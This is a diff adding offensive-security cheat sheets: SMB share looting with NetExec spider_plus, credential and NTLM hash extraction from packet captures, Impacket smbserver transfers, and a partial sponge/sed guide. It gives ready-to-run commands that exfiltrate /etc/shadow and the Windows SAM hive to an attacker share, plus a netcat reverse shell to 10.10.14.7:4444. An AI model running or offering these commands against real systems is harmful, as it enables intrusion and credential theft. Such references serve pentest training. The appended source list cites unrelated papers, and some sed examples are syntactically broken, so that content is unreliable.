'jsmith' -p 'Summer2024!' -M spider_plus \ + -o READ_ONLY=false \ + SHARE=NETLOGON \ + EXT=bat,cmd,ps1,vbs +``` + +### Example 4: Large Scale Data Exfiltration + +```bash +# Download all office documents (be careful with size!) +nxc smb 10.10.11.51 -u 'jsmith' -p 'Summer2024!' -M spider_plus \ + -o READ_ONLY=false \ + EXT=doc,docx,xls,xlsx,ppt,pptx,pdf \ + MAX_FILE_SIZE=52428800 \ + EXCLUDE_DIR="Windows,Program Files" + +# Monitor download progress +watch -n 5 'du -sh /tmp/nxc_spider_plus/10.10.11.51/' +``` + +### Example 5: Multiple Hosts + +```bash +# Spider multiple hosts (saves to separate folders) +nxc smb 10.10.11.0/24 -u 'jsmith' -p 'Summer2024!' -M spider_plus \ + -o READ_ONLY=false \ + PATTERN=password \ + EXT=txt,xml,config \ + MAX_FILE_SIZE=5242880 + +# Results organized by IP +ls -lah /tmp/nxc_spider_plus/ +``` + +--- + +## 8. Pro Tips & Best Practices + +### Performance Tips + +```bash +# Use MAX_FILE_SIZE to avoid huge files +nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus -o READ_ONLY=false MAX_FILE_SIZE=10485760 + +# Use EXCLUDE_DIR to skip system folders +nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus -o EXCLUDE_DIR="Windows,Program Files,$Recycle.Bin" + +# Target specific shares to reduce scope +nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus -o SHARE=Users +``` + +### OPSEC Considerations + +```bash +# Start with read-only enumeration +nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus + +# Download only specific, small files to reduce network traffic +nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus \ + -o READ_ONLY=false \ + PATTERN=password \ + EXT=txt \ + MAX_FILE_SIZE=1048576 + +# Be aware: Downloads create access logs on the target +``` + +### Organizing Downloads + +```bash +# Create organized workspace +mkdir -p ~/pentest/target/smb_loot +cd ~/pentest/target/smb_loot + +# Run spider +nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus -o READ_ONLY=false + +# Move from /tmp to your workspace +mv /tmp/nxc_spider_plus/10.10.11.51 ./ + +# Organize by file type +cd 10.10.11.51 +mkdir configs scripts documents +find . -name "*.config" -o -name "*.xml" -o -name "*.ini" | xargs -I {} mv {} configs/ +find . -name "*.ps1" -o -name "*.bat" -o -name "*.cmd" | xargs -I {} mv {} scripts/ +find . -name "*.doc*" -o -name "*.pdf" -o -name "*.txt" | xargs -I {} mv {} documents/ +``` + +--- + +## 9. Post-Spider Analysis Scripts + +### Quick Grep for Sensitive Data + +```bash +#!/bin/bash +# save as analyze_spider.sh + +TARGET_DIR="/tmp/nxc_spider_plus/10.10.11.51" + +echo "[+] Searching for passwords..." +grep -r -i "password\s*=" $TARGET_DIR 2>/dev/null | grep -v "Binary" + +echo "[+] Searching for usernames..." +grep -r -i "username\s*=" $TARGET_DIR 2>/dev/null | grep -v "Binary" + +echo "[+] Searching for API keys..." +grep -r -i "api_key\|apikey\|api-key" $TARGET_DIR 2>/dev/null | grep -v "Binary" + +echo "[+] Searching for connection strings..." +grep -r -i "connection.*string\|server=\|database=" $TARGET_DIR 2>/dev/null | grep -v "Binary" + +echo "[+] Searching for private keys..." +find $TARGET_DIR -type f -exec grep -l "BEGIN.*PRIVATE KEY" {} \; + +echo "[+] Files containing 'password':" +find $TARGET_DIR -type f -exec grep -l -i "password" {} \; | head -20 +``` + +### Generate File Inventory + +```bash +#!/bin/bash +# save as inventory.sh + +TARGET_DIR="/tmp/nxc_spider_plus/10.10.11.51" + +echo "[+] File type distribution:" +find $TARGET_DIR -type f | sed 's/.*\.//' | sort | uniq -c | sort -rn + +echo -e "\n[+] Largest files:" +find $TARGET_DIR -type f -exec ls -lh {} \; | sort -k5 -hr | head -10 + +echo -e "\n[+] Recently modified files:" +find $TARGET_DIR -type f -mtime -30 -exec ls -lh {} \; | head -10 + +echo -e "\n[+] Files with interesting names:" +find $TARGET_DIR -type f | grep -iE "(password|config|admin|secret|credential|backup|key)" +``` + +--- + +## 10. Common Issues & Solutions + +### Issue: Permission Denied +```bash +# Some files may not be readable +# Solution: Spider will skip them and continue + +# Check spider_plus JSON for access denied files +cat /tmp/nxc_spider_plus/10.10.11.51_*.json | jq '.[] | select(.error != null)' +``` + +### Issue: Too Many Files +```bash +# If spider returns thousands of files: +# Solution: Use more specific filters + +# Count files before downloading +cat /tmp/nxc_spider_plus/10.10.11.51_*.json | jq '. | length' + +# Filter more aggressively +nxc smb 10.10.11.51 -u 'user' -p 'pass' -M spider_plus \ + -o READ_ONLY=false \ + EXT=txt,xml \ + PATTERN=password \ + MAX_FILE_SIZE=1048576 +``` + +### Issue: Finding Downloaded Files +```bash +# Default location: +/tmp/nxc_spider_plus/<TARGET_IP>/ + +# Spider metadata (JSON): +/tmp/nxc_spider_plus/<TARGET_IP>_<timestamp>.json + +# Find all spider directories +find /tmp/nxc_spider_plus/ -type d +``` + +--- + +## Quick Reference Card + +| Task | Command | +|:---|:---| +| List files only | `nxc smb <ip> -u <user> -p <pass> -M spider_plus` | +| Download all files | `nxc smb <ip> -u <user> -p <pass> -M spider_plus -o READ_ONLY=false` | +| Download specific types | `nxc smb <ip> -u <user> -p <pass> -M spider_plus -o READ_ONLY=false EXT=txt,pdf` | +| Download by pattern | `nxc smb <ip> -u <user> -p <pass> -M spider_plus -o READ_ONLY=false PATTERN=password` | +| Limit file size | `nxc smb <ip> -u <user> -p <pass> -M spider_plus -o READ_ONLY=false MAX_FILE_SIZE=10485760` | +| Specific share | `nxc smb <ip> -u <user> -p <pass> -M spider_plus -o SHARE=Users` | +| Exclude folders | `nxc smb <ip> -u <user> -p <pass> -M spider_plus -o EXCLUDE_DIR=Windows,Temp` | +| View JSON output | `cat /tmp/nxc_spider_plus/<ip>_*.json \| jq '.'` | +| Find passwords in files | `grep -r -i "password" /tmp/nxc_spider_plus/<ip>/` | + +--- + +## Real-World Hunting Scenarios + +### Scenario 1: Found Valid Low-Priv Credentials + +```bash +# Step 1: What can we access? +nxc smb 10.10.11.51 -u 'jsmith' -p 'pass' --shares + +# Step 2: List everything (no download yet) +nxc smb 10.10.11.51 -u 'jsmith' -p 'pass' -M spider_plus + +# Step 3: Hunt for creds in configs +nxc smb 10.10.11.51 -u 'jsmith' -p 'pass' -M spider_plus \ + -o READ_ONLY=false \ + PATTERN=password,credential,config \ + EXT=xml,config,ini,txt \ + MAX_FILE_SIZE=2097152 + +# Step 4: Analyze +cd /tmp/nxc_spider_plus/10.10.11.51 +grep -r -i "password\|credential" . +``` + +### Scenario 2: Lateral Movement via Shares + +```bash +# Download scripts to find hardcoded creds +nxc smb 10.10.11.0/24 -u 'jsmith' -p 'pass' -M spider_plus \ + -o READ_ONLY=false \ + EXT=ps1,bat,cmd,vbs \ + SHARE=SYSVOL + +# Search scripts for credentials +find /tmp/nxc_spider_plus/ -name "*.ps1" -exec grep -H "password\|credential" {} \; +``` + +### Scenario 3: Backup File Discovery + +```bash +# Find and download backups +nxc smb 10.10.11.51 -u 'backupuser' -p 'pass' -M spider_plus \ + -o READ_ONLY=false \ + PATTERN=backup,bak \ + EXT=zip,7z,bak,old,backup \ + MAX_FILE_SIZE=104857600 + +# Extract archives +cd /tmp/nxc_spider_plus/10.10.11.51 +find . -name "*.zip" -exec unzip -d extracted {} \; +``` + +--- + +Remember: **Always have proper authorization before downloading files from systems you don't own!** diff --git a/src/content/sheets/tools/pcap-credential-extraction.md b/src/content/sheets/tools/pcap-credential-extraction.md @@ -0,0 +1,381 @@ +--- +title: "pcap-credential-extraction" +description: "ldap.simple or http.authorization or ftp.request.command == PASS or ntlmssp or kerberos" +category: tools +tags: ["tools", "kerberos", "ntlm", "sql-injection"] +tools: ["Hashcat", "John", "tshark"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Tools/pcap-credential-extraction-cheatsheet.md" +--- +# PCAP Credential Extraction Cheat Sheet + +## Quick Reference Table + +| Protocol | Port | Tool | Filter/Command | +|----------|------|------|----------------| +| LDAP Simple Bind | 389 | tshark | `tshark -r file.pcap -Y "ldap.simple" -T fields -e ldap.name -e ldap.simple` | +| HTTP Basic Auth | 80/8080 | tshark | `tshark -r file.pcap -Y "http.authorization" -T fields -e http.authorization` | +| FTP | 21 | tshark | `tshark -r file.pcap -Y "ftp.request.command == USER or ftp.request.command == PASS" -T fields -e ftp.request.arg` | +| Telnet | 23 | tshark | `tshark -r file.pcap -Y "telnet" -T fields -e telnet.data` | +| SMTP Auth | 25/587 | tshark | `tshark -r file.pcap -Y "smtp.auth.password" -T fields -e smtp.auth.username -e smtp.auth.password` | +| POP3 | 110 | tshark | `tshark -r file.pcap -Y "pop.request.command == USER or pop.request.command == PASS" -T fields -e pop.request.parameter` | +| IMAP | 143 | tshark | `tshark -r file.pcap -Y "imap.request contains LOGIN" -T fields -e imap.request` | +| SNMP | 161 | tshark | `tshark -r file.pcap -Y "snmp" -T fields -e snmp.community` | +| MySQL | 3306 | tshark | `tshark -r file.pcap -Y "mysql.passwd" -T fields -e mysql.user -e mysql.passwd` | +| NTLMSSP | Various | tshark | `tshark -r file.pcap -Y "ntlmssp.auth.username" -T fields -e ntlmssp.auth.domain -e ntlmssp.auth.username` | +| Kerberos | 88 | tshark | `tshark -r file.pcap -Y "kerberos.CNameString" -T fields -e kerberos.CNameString -e kerberos.realm` | +| HTTP POST | 80/443 | tshark | `tshark -r file.pcap -Y "http.request.method == POST" -T fields -e http.file_data` | + +--- + +## Wireshark Display Filters + +### Authentication Protocols +```bash +# All authentication-related traffic +ldap.simple or http.authorization or ftp.request.command == PASS or ntlmssp or kerberos + +# LDAP bind requests with credentials +ldap.bindRequest and ldap.simple + +# LDAP simple bind only +ldap.protocolOp == 0 + +# HTTP Basic/Digest Authentication +http.authorization + +# HTTP POST requests (login forms) +http.request.method == POST + +# NTLM Authentication +ntlmssp.auth.username + +# Kerberos traffic +kerberos.CNameString + +# FTP credentials +ftp.request.command == USER or ftp.request.command == PASS + +# SMB/CIFS authentication +smb.uid or smb2.session_id +``` + +### By Service Port +```bash +# LDAP +tcp.port == 389 or tcp.port == 636 + +# HTTP/HTTPS +tcp.port == 80 or tcp.port == 443 or tcp.port == 8080 + +# FTP +tcp.port == 21 + +# SSH (encrypted, but can identify users) +tcp.port == 22 + +# Telnet +tcp.port == 23 + +# SMTP +tcp.port == 25 or tcp.port == 587 + +# DNS (for recon) +udp.port == 53 + +# Kerberos +tcp.port == 88 or udp.port == 88 + +# SMB +tcp.port == 445 or tcp.port == 139 +``` + +--- + +## tshark Commands + +### LDAP Credentials +```bash +# Extract LDAP simple bind credentials +tshark -r capture.pcap -Y "ldap.simple" -T fields -e ldap.name -e ldap.simple + +# LDAP with more context +tshark -r capture.pcap -Y "ldap.bindRequest" -T fields -e ip.src -e ip.dst -e ldap.name -e ldap.simple + +# All LDAP operations +tshark -r capture.pcap -Y "ldap" -T fields -e frame.number -e ldap.protocolOp -e ldap.name -e ldap.simple + +# To see whole packet and info +sudo tshark -r UserInfo.exe.pcap -Y "ldap.simple" -V +``` + +### HTTP Credentials +```bash +# HTTP Basic Auth (base64 encoded) +tshark -r capture.pcap -Y "http.authorization" -T fields -e ip.src -e http.host -e http.authorization + +# Decode Base64 inline +tshark -r capture.pcap -Y "http.authorization" -T fields -e http.authorization | cut -d' ' -f2 | base64 -d + +# HTTP POST data (form submissions) +tshark -r capture.pcap -Y "http.request.method == POST" -T fields -e http.host -e http.request.uri -e http.file_data + +# Look for password fields in POST +tshark -r capture.pcap -Y "http.request.method == POST" -T fields -e http.file_data | grep -iE "(pass|pwd|password|passwd)" + +# HTTP cookies (session tokens) +tshark -r capture.pcap -Y "http.cookie" -T fields -e http.host -e http.cookie +``` + +### FTP Credentials +```bash +# FTP username and password +tshark -r capture.pcap -Y "ftp.request.command == USER or ftp.request.command == PASS" -T fields -e ip.src -e ftp.request.command -e ftp.request.arg + +# All FTP commands +tshark -r capture.pcap -Y "ftp.request" -T fields -e frame.time -e ip.src -e ftp.request.command -e ftp.request.arg +``` + +### SMTP/Email Credentials +```bash +# SMTP AUTH credentials +tshark -r capture.pcap -Y "smtp.auth.password" -T fields -e smtp.auth.username -e smtp.auth.password + +# SMTP commands +tshark -r capture.pcap -Y "smtp.req.command" -T fields -e smtp.req.command -e smtp.req.parameter +``` + +### SMB/Windows Authentication +```bash +# NTLMSSP usernames +tshark -r capture.pcap -Y "ntlmssp.auth.username" -T fields -e ip.src -e ntlmssp.auth.domain -e ntlmssp.auth.username + +# SMB2 session setup +tshark -r capture.pcap -Y "smb2.cmd == 1" -T fields -e ip.src -e ip.dst -e smb2.acct -e smb2.domain + +# Extract NTLMv2 hashes (for cracking) +tshark -r capture.pcap -Y "ntlmssp.auth.ntresponse" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.auth.ntresponse +``` + +### Kerberos +```bash +# Kerberos principals +tshark -r capture.pcap -Y "kerberos.CNameString" -T fields -e ip.src -e kerberos.CNameString -e kerberos.realm + +# AS-REQ (initial auth) +tshark -r capture.pcap -Y "kerberos.msg_type == 10" -T fields -e kerberos.CNameString -e kerberos.realm +``` + +### SNMP Community Strings +```bash +# SNMP community strings (like passwords) +tshark -r capture.pcap -Y "snmp.community" -T fields -e ip.src -e ip.dst -e snmp.community +``` + +### Database Credentials +```bash +# MySQL login attempts +tshark -r capture.pcap -Y "mysql.user" -T fields -e ip.src -e mysql.user + +# PostgreSQL +tshark -r capture.pcap -Y "pgsql.type == 'p'" -T fields -e pgsql.user -e pgsql.password +``` + +--- + +## Automated Tools + +### PCredz +```bash +# Install +git clone https://github.com/lgandx/PCredz.git + +# Run on pcap +python3 Pcredz -f capture.pcap + +# Run on interface (live capture) +python3 Pcredz -i eth0 +``` + +### NetworkMiner (GUI) +```bash +# Install on Linux +sudo apt install networkminer + +# Or download from: https://www.netresec.com/?page=NetworkMiner +# Open pcap file -> Credentials tab shows extracted creds +``` + +### Chaosreader +```bash +# Extract all sessions and files +chaosreader capture.pcap + +# Creates HTML report with extracted data +``` + +### ngrep +```bash +# Search for password patterns +ngrep -I capture.pcap -q "pass|pwd|password|passwd" + +# Search for specific strings +ngrep -I capture.pcap -q "admin" + +# Search in specific protocol +ngrep -I capture.pcap -q "PASS" port 21 +``` + +### dsniff +```bash +# Extract passwords from pcap +dsniff -p capture.pcap +``` + +--- + +## Quick & Dirty Methods + +### strings + grep +```bash +# Find all readable strings +strings capture.pcap | less + +# Look for password patterns +strings capture.pcap | grep -iE "(password|passwd|pass|pwd).*[:=]" + +# Look for usernames +strings capture.pcap | grep -iE "(user|username|login|uname).*[:=]" + +# Find base64 strings (potential encoded creds) +strings capture.pcap | grep -E "^[A-Za-z0-9+/]{20,}={0,2}$" + +# Find email addresses +strings capture.pcap | grep -oE "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" + +# Find IP addresses +strings capture.pcap | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" + +# Find URLs +strings capture.pcap | grep -oE "https?://[^ ]+" +``` + +### xxd / hexdump +```bash +# View hex dump with ASCII +xxd capture.pcap | less + +# Search for string in hex +xxd capture.pcap | grep -i "password" + +# Hexdump with strings highlighted +hexdump -C capture.pcap | less +``` + +--- + +## Wireshark GUI Tips + +### Follow Streams +1. Right-click packet → Follow → TCP/UDP/HTTP Stream +2. Shows full conversation in readable format +3. Great for seeing complete authentication exchanges + +### Export Objects +1. File → Export Objects → HTTP/SMB/TFTP/etc. +2. Extracts files transferred over network +3. May contain config files with credentials + +### Useful Columns to Add +- `ldap.name` - LDAP bind DN +- `ldap.simple` - LDAP simple bind password +- `http.authorization` - HTTP auth headers +- `ftp.request.arg` - FTP command arguments + +### Protocol Hierarchy +1. Statistics → Protocol Hierarchy +2. Quick overview of what protocols are in capture +3. Helps identify what to look for + +--- + +## Hash Extraction for Cracking + +### NTLMv2 Hashes +```bash +# Extract for hashcat/john +tshark -r capture.pcap -Y "ntlmssp.auth" -T fields \ + -e ntlmssp.auth.username \ + -e ntlmssp.auth.domain \ + -e ntlmssp.ntlmserverchallenge \ + -e ntlmssp.auth.ntresponse \ + -e ntlmssp.auth.lmresponse + +# Format for hashcat (mode 5600): +# username::domain:ServerChallenge:NTProofStr:NTLMv2Response +``` + +### Kerberos Tickets (AS-REP Roasting) +```bash +# Extract AS-REP for users without pre-auth +tshark -r capture.pcap -Y "kerberos.msg_type == 11" -T fields -e kerberos.cipher +``` + +### HTTP Digest Auth +```bash +# Extract digest for cracking +tshark -r capture.pcap -Y "http.authbasic" -T fields -e http.authorization +``` + +--- + +## One-Liners + +```bash +# Quick credential dump - tries multiple protocols +tshark -r capture.pcap -Y "ldap.simple or http.authorization or ftp.request.command == PASS or smtp.auth.password" -T fields -e frame.number -e ip.src -e ip.dst -e _ws.col.Protocol -e _ws.col.Info 2>/dev/null + +# Find all cleartext passwords (broad search) +strings capture.pcap | grep -iE "^.{0,30}(password|passwd|pass|pwd)[^a-z].{0,50}$" | sort -u + +# Extract and decode all HTTP Basic Auth +tshark -r capture.pcap -Y "http.authorization contains Basic" -T fields -e http.authorization | while read line; do echo "$line" | cut -d' ' -f2 | base64 -d; echo; done + +# List all unique source IPs with auth attempts +tshark -r capture.pcap -Y "ldap.simple or http.authorization or ftp.request.command == PASS" -T fields -e ip.src | sort -u + +# Count auth attempts by protocol +tshark -r capture.pcap -Y "ldap.simple or http.authorization or ftp.request.command == PASS" -T fields -e _ws.col.Protocol | sort | uniq -c +``` + +--- + +## Common Credential Locations by Protocol + +| Protocol | Where to Look | +|----------|---------------| +| LDAP | `ldap.simple` field in bindRequest | +| HTTP Basic | `Authorization: Basic <base64>` header | +| HTTP Form | POST body, look for password/passwd/pass fields | +| FTP | USER and PASS commands in cleartext | +| Telnet | Full session in cleartext | +| SMTP | AUTH LOGIN/PLAIN commands (base64) | +| POP3 | USER and PASS commands | +| IMAP | LOGIN command arguments | +| SNMP | Community string (like a password) | +| VNC | Challenge-response (hashcat mode 7900) | +| RDP | NLA uses CredSSP/NTLMv2 | +| MySQL | mysql.passwd field | +| PostgreSQL | Startup message or password message | + +--- + +## Tips + +1. **Always check for TLS/SSL** - If traffic is encrypted, you need the private key or to perform MITM +2. **Time-based correlation** - Failed logins often followed by successful ones reveal valid creds +3. **Check both directions** - Server responses may echo back usernames +4. **Look at DNS** - Reveals internal hostnames and structure +5. **Export HTTP objects** - Config files often contain hardcoded creds +6. **Check for password reuse** - Same creds may work elsewhere diff --git a/src/content/sheets/tools/smbserver-py.md b/src/content/sheets/tools/smbserver-py.md @@ -0,0 +1,123 @@ +--- +title: "smbserver.py" +description: "Run this on your attacking machine (macOS/Linux) to host the files." +category: tools +tags: ["tools"] +tools: ["Impacket", "Mimikatz", "PowerShell"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Tools/smbserver.py.md" +--- +# 📂 Impacket smbserver.py Usage Guide + +> [!WARNING] macOS Users +> Before running the server, ensure native **File Sharing** is turned **OFF** in System Settings, or you will get an `Address already in use` error on port 445. + +## 1. Start the SMB Server (Attacker Machine) + +Run this on your attacking machine (macOS/Linux) to host the files. + +**The "Compatible" Command (Recommended)** +This enables SMBv2 (for modern Windows) and sets a username/password to bypass "Guest Access" security policies. + +```bash +# Syntax: sudo smbserver.py <ShareName> <LocalDirectory> -smb2support -user <User> -password <Pass> +sudo smbserver.py SHARE . -smb2support -user temp -password temp +``` + +**The "Legacy" Command** +Only use this for Windows XP / Server 2003 (SMBv1). +```bash +sudo smbserver.py SHARE . +``` + +--- + +## 2. Transferring Files FROM Linux (Victim) + +Assuming you have a shell on a Linux victim and want to send files **TO** your `smbserver`. + +### Method A: Using `smbclient` (Standard) +Most common method. Does not require root. + +**Upload a file to your server:** +```bash +# Syntax: smbclient //<AttackerIP>/<ShareName> -U <User> -c 'put <FileToSend>' +smbclient //<AttackerIP>/SHARE -U temp -c 'put /etc/shadow' +# Enter password 'temp' when prompted +``` + +**Download a file from your server:** +```bash +smbclient //<AttackerIP>/SHARE -U temp -c 'get linpeas.sh' +``` + +### Method B: Mounting (Requires Root) +Mounts your share to a local folder on the victim. +```bash +mkdir /tmp/transfer +mount -t cifs //<AttackerIP>/SHARE /tmp/transfer -o username=temp,password=temp,vers=3.0 + +# Now just copy files normally +cp /root/proof.txt /tmp/transfer/ +``` + +--- + +## 3. Transferring Files FROM Windows (Victim) + +Assuming you have a shell on a Windows victim and want to send files **TO** your `smbserver`. + +### Method A: `net use` (Mount Drive) +The most reliable method. Maps your share to a drive letter (e.g., `Z:`). + +1. **Connect:** + ```cmd + net use Z: \\<AttackerIP>\SHARE /user:temp temp + ``` +2. **Transfer (Copy/Move):** + ```cmd + copy C:\Users\Administrator\Desktop\flag.txt Z:\ + move Z:\exploit.exe C:\Windows\Temp\ + ``` +3. **Disconnect:** + ```cmd + net use Z: /delete + ``` + +### Method B: Direct Copy (UNC Path) +Quick for single files without mounting a drive. +```cmd +copy C:\Windows\System32\config\SAM \\<AttackerIP>\SHARE\SAM +``` + +### Method C: PowerShell +If CMD is blocked or you prefer PS. +```powershell +# Create credential object +$pass = ConvertTo-SecureString "temp" -AsPlainText -Force +$cred = New-Object System.Management.Automation.PSCredential("temp", $pass) + +# Copy to your server +Copy-Item "C:\Secret\data.db" -Destination "\\<AttackerIP>\SHARE\data.db" -Credential $cred + +# Copy from your server +Copy-Item "\\<AttackerIP>\SHARE\mimikatz.exe" -Destination "C:\Temp\" -Credential $cred +``` + +--- + +## ⚡ Cheat Sheet + +| Action | OS | Command | +| :--- | :--- | :--- | +| **Start Server** | Attacker | `sudo smbserver.py SHARE . -smb2support -user temp -password temp` | +| **Start (Legacy)** | Attacker | `sudo smbserver.py SHARE .` | +| **Mount Share** | Win Client | `net use Z: \\<IP>\SHARE /user:temp temp` | +| **Unmount** | Win Client | `net use Z: /delete` | +| **Quick Upload** | Win Client | `copy file.txt \\<IP>\SHARE\` | +| **Quick Download** | Win Client | `copy \\<IP>\SHARE\file.exe .` | +| **Upload** | Linux Client | `smbclient //<IP>/SHARE -U temp -c 'put file.txt'` | +| **Download** | Linux Client | `smbclient //<IP>/SHARE -U temp -c 'get file.txt'` | +| **NTLM Capture** | Attacker | Start server *without* `-user/-password`, then trigger any connection from Windows client. | +``` diff --git a/src/content/sheets/tools/smbshare.md b/src/content/sheets/tools/smbshare.md @@ -0,0 +1,98 @@ +--- +title: "smbshare" +description: "sudo impacket-smbserver share /path/to/share" +category: tools +tags: ["tools"] +tools: ["Impacket", "OpenSSL"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Misc/smbshare.md" +--- +# Impacket SMB Share Cheat Sheet + +#Impacket #impacket-smbserver #SMB #smbshare +## Basic Setup + +**Start unauthenticated SMB server:** +```bash +sudo impacket-smbserver share /path/to/share +``` + +**Start SMB server with SMB2 support (required for modern Windows):** +```bash +sudo impacket-smbserver share /path/to/share -smb2support +``` + +**Share current directory:** +```bash +sudo impacket-smbserver share . -smb2support +``` + +## Authenticated Setup + +**With username and password (recommended for Windows 10+):** +```bash +sudo impacket-smbserver share . -smb2support -username user -password pass123 +``` + +## Windows Access + +**View the share:** +```cmd +net view \\10.10.14.7 +dir \\10.10.14.7\share +``` + +**Authenticate first (if using credentials):** +```cmd +net use \\10.10.14.7\share /user:user pass123 +``` + +**Copy file TO Kali:** +```cmd +copy file.txt \\10.10.14.7\share\ +``` + +**Copy file FROM Kali:** +```cmd +copy \\10.10.14.7\share\tool.exe C:\Temp\ +``` + +**Execute directly from share:** +```cmd +\\10.10.14.7\share\nc.exe -e cmd.exe 10.10.14.7 4444 +``` + +## Common Options + +- `-smb2support` - Enable SMB2/3 protocol support +- `-username` - Set authentication username +- `-password` - Set authentication password +- `-debug` - Enable debug output + +## Troubleshooting + +If you get "unauthenticated guest access" errors, restart with authentication enabled . + +Sources + MDEval: Evaluating and Enhancing Markdown Awareness in Large Language + Models https://arxiv.org/pdf/2501.15000v1.pdf + Creating a vulnerable node based on the vulnerability MS17-010 http://arxiv.org/pdf/2401.14979.pdf + SMoTherSpectre: exploiting speculative execution through port contention http://arxiv.org/pdf/1903.01843.pdf + AmberMDrun: A Scripting Tool for Running Amber MD in an Easy Way https://www.mdpi.com/2218-273X/13/4/635/pdf?version=1680263131 + SmmPack: Obfuscation for SMM Modules with TPM Sealed Key http://arxiv.org/pdf/2405.04355.pdf + iMIV: in-Memory Integrity Verification for NVM http://arxiv.org/pdf/2407.09180.pdf + Apptainer Without Setuid https://arxiv.org/pdf/2208.12106.pdf + Extracting the Secrets of OpenSSL with RAMBleed https://www.mdpi.com/1424-8220/22/9/3586/pdf?version=1652080720 + Impacket Cheatsheet https://rgbwiki.com/Red%20Cell/14.%20Cheatsheets/Tools/Impacket%20Cheatsheet/ + Impacket Cheatsheet https://www.blackhillsinfosec.com/impacket-cheatsheet/ + Impacket - Offensive Security Cheatsheet https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/ + Zamanry/OSCP_Cheatsheet: OSCP Cheatsheet https://github.com/Zamanry/OSCP_Cheatsheet + OSCP Cheat Sheet and Command Reference https://casvancooten.com/posts/2020/05/oscp-cheat-sheet-and-command-reference/ + Impacket Cheat Sheet for Pentesters https://nerdgigs.blog/2025/06/08/impacket-cheat-sheet-for-pentesters/ + Impacket Exec Commands Cheat Sheet Poster https://cdn.13cubed.com/downloads/impacket_exec_commands_cheat_sheet_poster.pdf + Impacket https://www.blackhillsinfosec.com/wp-content/uploads/2025/08/CheetSheet_Impacket-1.pdf + OSCP Cheat Sheet | PDF https://www.scribd.com/document/693810531/OSCP-Cheat-Sheet + File Transfer Cheatsheet For Pentesters https://blog.certcube.com/file-transfer-cheatsheet-for-pentesters/ + File Transfer - Offensive Security Cheatsheet https://cheatsheet.haax.fr/windows-systems/exploitation/file_transfer/ + SMB Enumeration Cheatsheet | 0xdf hacks stuff - GitLab https://0xdf.gitlab.io/cheatsheets/smb-enum diff --git a/src/content/sheets/tools/sponge.md b/src/content/sheets/tools/sponge.md @@ -0,0 +1,485 @@ +--- +title: "sponge" +description: "sponge is a command-line utility from the moreutils package that reads all input from stdin before writing to a file. Unlike standard shell redirects (>)…" +category: tools +tags: ["tools", "adcs"] +tools: [] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Misc/sponge-cheatsheet.md" +--- +# 🧽 Sponge Command Cheat Sheet + +## 📖 Introduction + +`sponge` is a command-line utility from the **moreutils** package that reads all input from stdin before writing to a file. Unlike standard shell redirects (`>`), which open the output file immediately (potentially truncating it before reading completes), `sponge` buffers the entire input in memory first, then writes it out. + +This "read-all-then-write" behavior makes `sponge` essential for **safely modifying files in-place** within pipelines. + +### 🔧 Installation + +```bash +# Debian/Ubuntu +sudo apt install moreutils + +# Fedora/RHEL +sudo dnf install moreutils + +# Arch Linux +sudo pacman -S moreutils + +# macOS (Homebrew) +brew install moreutils +``` + +### ⚙️ Basic Syntax + +```bash +command | sponge [OPTIONS] filename +``` + +### 🎛️ Options + +| Option | Description | +|--------|-------------| +| `-a` | Append to file instead of overwriting | +| No options | Overwrite the file with buffered content | + +--- + +## ⚠️ The Problem Sponge Solves + +Without `sponge`, this command **destroys your data**: + +```bash +# ❌ DANGEROUS - file gets truncated before reading completes +grep 'pattern' file.txt > file.txt +# Result: empty file! +``` + +The shell opens `file.txt` for writing (truncating it) before `grep` starts reading. + +With `sponge`, the operation is **safe**: + +```bash +# ✅ SAFE - sponge buffers all input before writing +grep 'pattern' file.txt | sponge file.txt +``` + +--- + +## 🔍 Using Sponge with grep + +`grep` searches for patterns in files. Combined with `sponge`, you can filter files in-place. + +### Keep Only Matching Lines + +```bash +# Keep only lines containing 'error' +grep 'error' logfile.txt | sponge logfile.txt +``` + +### Remove Matching Lines + +```bash +# Remove all lines containing 'DEBUG' +grep -v 'DEBUG' application.log | sponge application.log +``` + +### Remove Comments from Config Files + +```bash +# Remove lines starting with # (comments) +grep -v '^#' config.conf | sponge config.conf +``` + +### Remove Empty Lines + +```bash +# Remove blank lines from a file +grep -v '^$' data.txt | sponge data.txt +``` + +### Case-Insensitive Filtering + +```bash +# Keep lines containing 'warning' (case-insensitive) +grep -i 'warning' alerts.log | sponge alerts.log +``` + +### Chain Multiple grep Commands + +```bash +# Remove comments AND empty lines +grep -v '^#' config.conf | grep -v '^$' | sponge config.conf +``` + +--- + +## ✏️ Using Sponge with sed + +`sed` (stream editor) performs text transformations. With `sponge`, you can apply complex edits in-place safely. + +### Simple Find and Replace + +```bash +# Replace 'old' with 'new' (first occurrence per line) +sed 's/old/new/' file.txt | sponge file.txt +``` + +### Global Replacement + +```bash +# Replace ALL occurrences of 'foo' with 'bar' +sed 's/foo/bar/g' file.txt | sponge file.txt +``` + +### Case-Insensitive Replacement + +```bash +# Replace 'error' regardless of case +sed 's/error/warning/gi' logfile.txt | sponge logfile.txt +``` + +### Delete Specific Lines + +```bash +# Delete line 5 +sed '5d' file.txt | sponge file.txt + +# Delete lines 10 through 20 +sed '10,20d' file.txt | sponge file.txt + +# Delete the last line +sed '$d' file.txt | sponge file.txt +``` + +### Delete Lines Matching Pattern + +```bash +# Delete all lines containing 'obsolete' +sed '/obsolete/d' file.txt | sponge file.txt +``` + +### Remove Leading/Trailing Whitespace + +```bash +# Remove leading whitespace +sed 's/^:space:*//' file.txt | sponge file.txt + +# Remove trailing whitespace +sed 's/:space:*$//' file.txt | sponge file.txt + +# Remove both +sed 's/^:space:*//;s/:space:*$//' file.txt | sponge file.txt +``` + +### Convert Tabs to Spaces + +```bash +# Replace tabs with 4 spaces +sed 's/\t/ /g' code.py | sponge code.py +``` + +### Multiple Substitutions + +```bash +# Chain multiple 